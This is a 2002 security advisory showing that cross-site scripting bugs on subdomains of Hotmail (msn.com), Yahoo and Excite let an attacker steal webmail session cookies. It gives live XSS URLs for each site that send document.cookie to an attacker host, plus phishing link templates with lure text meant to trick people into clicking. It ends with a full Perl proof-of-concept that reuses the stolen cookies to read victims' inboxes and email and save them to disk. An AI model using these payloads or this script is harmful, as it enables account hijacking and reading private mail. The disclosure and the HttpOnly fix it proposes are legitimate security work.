-------------------------------------------------------
 XSS/Cookie problems at major (webmail) sites Advisory
-------------------------------------------------------

XSS/Cookie problems at major (webmail) sites
13/11/02
- by "N|ghtHawk" Thijs Bosschert (nighthawk_at_hackers4hackers.org)

----------------------
 Introduction:
----------------------

After finding a XSS/Cookie bug in the lycos.com mail site[0], I 
wondered if it was the only site with those problems. I found out 
that more sites got the same problem. This advisory gives three 
other sites to show the problem, and explains what the problem is.


----------------------
 Vendor Information:
----------------------

Homepage         : http://www.hotmail.com
Vendor informed
  About bug      : -
  Mailed advisory: 11/11/02
Vender Response  : none (yet?)
Status           : Cookie capturing still possible


Homepage         : http://www.yahoo.com
Vendor informed
  About bug      : 03/11/02
  Mailed advisory: 03/11/02
Vender Response  : none (yet?)
Status           : Cookie capturing still possible


Homepage         : http://www.excite.com
Vendor informed
  About bug      : 11/11/02
  Mailed advisory: 11/11/02
Vender Response  : 1 autoreply
Status           : Cookie capturing still possible


----------------------
 Affected  Versions:
----------------------

Tested on:
- hotmail.com webmail
- yahoo.com Webmail
- excite.com webmail

Not tested on:
- Other MSN/Passport services
- Other yahoo services 
- Other excite services


----------------------
 Description:
----------------------


What is Hotmail?
-------------

- http://www.hotmail.com
   - Hotmail is the world's largest provider of free, Web-based
     e-mail. It is based on the premise that e-mail access 
     should be easy and possible from any computer connected to 
     the World Wide Web. Hotmail eliminates the disparities 
     among e-mail programs by adhering to the universal Hypertext
     Transfer Protocol (HTTP) standard. Sending and receiving 
     e-mail from Hotmail is easy: go to the Hotmail Web site at 
     http://www.hotmail.com or click the Hotmail link at 
     http://www.msn.com, sign in, and send an e-mail message. By 
     using a Web browser as a universal e-mail program, Hotmail 
     lets you stay connected anywhere in the world. 


What is Yahoo?
-------------

- http://www.yahoo.com/
    
   - "Yahoo currently provides users with access to a rich 
     collection of resources, including, various communications 
     tools, forums, shopping services, personalized content and 
     branded programming through its network of properties (the
     "Service"). "
    

- http://mail.yahoo.com

   - "Yahoo! Mail is one of the Internet's most popular free 
     e-mail services. 
     Access your e-mail account from anywhere
     With Yahoo! Mail, you have access to your email from any 
     Internet-connected computer in the world. Whether you are 
     at a cafe, in a library, at work or at home, with Yahoo! 
     Mail, your email address is the same and your account is 
     accessible from all locations. "


What is Excite?
-------------

- http://www.excite.com
   - Excite is a multi-purpose service which allows you to use 
     or access a wealth of products and services, including 
     e-mail, search services, chat rooms and bulletin boards, 
     shopping services, news, financial information and broad 
     range of other content (collectively the "Excite Service"). 


----------------------
 Vulnerability:
----------------------

All of the above named sites use cookies with their mailservices. 
Also do these sites have more than one service, and for the 
different services have different hostnames/servers. 

The problem in this is that with finding a XSS bug in one of the 
many services there could be made a XSS request to get the cookie 
of the mailservice.

Hotmail example:
--------------------

Hotmail uses *.msn.com for there services, so with a XSS bug in 
any *.msn.com the cookie for the email service can be captured.
The example XSS is in the 'article.asp' script on 
'www.accesshollywood.msn.com'. This script doesn't seem to be 
filtering anything, so a XSS-url will be:

- http://www.accesshollywood.msn.com/news/article.asp?art=><script>
  window.open('http://host/cgi-bin/rompigema.pl?'+document.referrer
  +'%20'+document.cookie);</script>


Yahoo example:
--------------------

The yahoo mailservice uses a *.yahoo.com server, so a XSS on any 
*.yahoo.com server will give the cookie of the mailserver.
The example XSS is in the 'login' script on 'login.europe.yahoo.com'. 
This script seems to be filtering < and %3C. But yahoo uses the same 
script for multiple lands, and shows a picture for each land. It gets 
the name of the picture partly from a variable. So with changing the 
name of the picture in something bogus and adding an 'onerror' you 
can insert javascript into it. So a XSS-url would be:

- http://login.europe.yahoo.com/config/login?.intl=frx%22%20onerror=
  %22plof:window.open('http://host/cgi-bin/rompigema.pl?'%2Bdocument.
  referrer%2B'%20'%2Bdocument.cookie)%22%3E&.src=ym&.done=


Excite example:
--------------------

The excite mailservice uses a *.excite.com server, so any XSS on a
*.excite.com can be used to get the mailservice cookie. 
The example XSS is in the 'spmywaymaint.jsp' script on 
'sports.excite.com'. 
The example XSS-url would be:

- http://sports.excite.com/jsp/spmywaymaint.jsp?ru=X%22><script>
  window.open('http://host/cgi-bin/rompigema.pl?'%252Bdocument.
  referrer%252B'%20'%252bdocument.cookie);</script>

--------------------


One of the problems with these bugs is that the XSS-bug is on another 
server/service and probably be maintained by other people than the 
people who are maintaining the mailservice. Because of this, fixing 
the bug can take a lot more time than actually needed. 
Bugs on other services can insecure the mailservice, and because there 
are many services on those sites most of the time it may be easy to 
find another XSS-bug.


----------------------
 Exploit:
----------------------

The XSS bugs can be exploited by letting people click a link in an email. 
Example links:

HOTMAIL:
- <a href="http://www.accesshollywood.msn.com/news/article.asp?
  art=><script>window.open('http://host/cgi-bin/rompigema.pl?'+
  document.referrer+'%20'+document.cookie);</script>">Britney 
  Nude!</a>

YAHOO:
- <a href="http://login.europe.yahoo.com/config/login?.intl=
  frx%22%20onerror=%22plof:window.open('http://host/cgi-bin/
  rompigema.pl?'%2Bdocument.cookie)%22%3E&.src=ym&.done=">
  Britney Nude!</a>

EXCITE:
- <a href="http://sports.excite.com/jsp/spmywaymaint.jsp?ru=
  X%22><script>window.open('http://host/cgi-bin/rompigema.pl?'
  %252Bdocument.referrer%252B'%20'%252bdocument.cookie);
  </script>">Britney Nude!</a>

The string 'Britney Nude' will trick some of the people to click 
the link. Other strings like "This email could not be shown 
because of an error, please klik _here_ to try again" will trick 
a lot more users. Because many people will click such links 
without even thinking.

Other ways to exploit this are:
- Giving people links through instant messengers.
- Put javascript in any homepage, which will open the xss bug.
  Can be exploited for example in:  
  - Not good filtered forums
  - Not good filtered guestbooks
- Give people a url which will redirect them to the XSS bug.

And people can think of other ways as well, actually it isn't 
really safe to surf on the internet with a webmail account if 
the servers aren't fully secure.

All the links above are going to a perl script. This script 
(rompigema.pl) will get the cookie and the referrer of the 'victim',
then it will make a request to the server to get the frontpage, 
inbox or an email from the 'victim'. 

This script is to show you how easy it is to abuse cookies from 
other people, ofcourse you also could try and put the cookie into 
your own cookie-dir in windows or something.

NOTE: The Rompigema.pl script will only work when people click the 
      link in an email (not with the other ways written above), 
      because it uses the referrer to make it more easy to make the 
      request. The script could be altered so that it can be done 
      without the referrer. An example of such a script is the 
      fragile.pl script written for the lycos XSS/Cookie bug.


----------------------
 Rompigema.pl:
----------------------

#!/usr/bin/perl
#
# Multiple XSS/Cookie Problems
# Proof Of Concept
# N|ghtHawk
# nighthawk_at_hackers4hackers.org

use IO::Socket;

# OPTIONS
# 1. See Frontpage
# 2. See Inbox
# 3. Read An E-Mail
# 4. Only save Cookie
$option = "3";

# PATH
$path = "/tmp/mirrors/";

$cookie = "$ENV{QUERY_STRING}\;";
$cookie =~ s/%20/ /g;

if ($cookie =~ /http:\/\/(.*mail\.(.*)\..*com)(\/[^ ]* )(.*)/) {
  $host = $1;
  $type = $2;
  $req = $3;
  $cookie = $4;
  if ($req =~ /ArdSI=(.*)&ArdSI=/) {
    $ardsi = $1;
  }
}

if (!$cookie || !$host) { &no_cookie; }

%msn = (
  1 => "/cgi-bin/hmhome",
  2 => "/cgi-bin/HoTMaiL?curmbox=F000000001",
  filt => "<a *href=\"\/(cgi-bin\/getmsg\?.*)\">",
  name => "class=[^ ]*\">(.*@hotmail.com)<"
);

%yahoo = (
  1 => "/ym/Welcome?order=down&sort=date&pos=0",
  2 => "/ym/us/ShowFolder?box=Inbox&order=down&sort=date&pos=0",
  filt => "\/(ym\/ShowLetter?.*)\">",
  name => "<b>.* (.*\@yahoo.com)<\/b>"
);

%excite = (
  1 => "\/splash.php?ArdSI=$ardsi&ArdSI=$ardsi",
  2 => "\/folder_msglist.php?t=0&m=0&ArdSI=$ardsi&in=1",
  filt => "(msg_read.php?[^>]*)'",
  name => "<b>Hi (.*)!<\/b>"
);

$req = "$$type{2}";
if ($option == "1") { $req = "$$type{1}"; }

$data = request($host, $req);

if ($option == "3") {
  @datar = split(/\n/,$data);
  foreach $line (@datar) {
    if ($line =~ /$$type{filt}/) {
        $req = "/$1";
    }
  }
  $data = request($host, $req);
}

&out($data);

sub out {
  my ($data) = @_;
  @datar = split(/\n/,$data);
  foreach $line (@datar) {
    if ($line =~ /$$type{name}/) {
      $name = $1;
    }
  }
  if ($option == 4) {
    $data = "$name\n$cookie\n";
    $name = "cookies";
  }
  open(FILE,">>$path$name.html");
  print FILE "$data\n";
  close(FILE);
  print "Content-type: text/html\n";
  print "Location: http://www.dwheeler.com/secure-programs/".
        "Secure-Programs-HOWTO.html\n\n";
}

sub request {
  my ($host, $req) = @_;
  $sock = IO::Socket::INET->new(
  Proto => "tcp",
  PeerAddr => "$host",
  PeerPort => "80",
  Timeout => 30) || die "Could not create socket: $!\n";
  print $sock "GET $req HTTP/1.0\n".
  "Host: $host\n".
  "Accept: image/gif, image/x-xbitmap, */*\n".
  "Accept-Language: nl\n".
  "User-Agent: Pr00fOfConcept/1.0 \n".
  "Connection: Keep-Alive\n".
  "Cookie: $cookie\n\n";
  sleep(4);
  recv($sock,$data,200000,0);
  close($sock);
  return $data;
}

sub no_cookie {
  print "content-type: text/html\n\n";
  print "<h1>No Cookie or Referrer found</h1>\n";
  exit;
}


----------------------
 Patch:
----------------------

Well, it's up to the sites to patch this. It would be a good idea 
to not put insecure scripts on a server which uses the same 
cookies as your mailsystem. 
Also I really think an idea like HttpOnly[1] would be a good start 
in getting rid of all the XSS bugs.


----------------------
 Links:
----------------------

[0]Lycos XSS/Cookie Advisory:
 - http://www.securiteam.com/securitynews/6R0041P60Q.html
 - http://www.dsinet.org/?id=3005

XSS:
 - http://www.cgisecurity.com/articles/xss-faq.shtml

[1]HttpOnly:
 - http://online.securityfocus.com/archive/1/299032/2002-10-30/2002-11-05/1
 - http://msdn.microsoft.com/library/en-us/dncode/html/secure10102002.asp

Meaning of Rompigema:
 - http://wwwtios.cs.utwente.nl/traduk/EO-EN/Traduku?rompig%5Eema


----------------------
 Thanks:
----------------------

Asby, Wim, Digiover, Scorpster, Anna


----------------------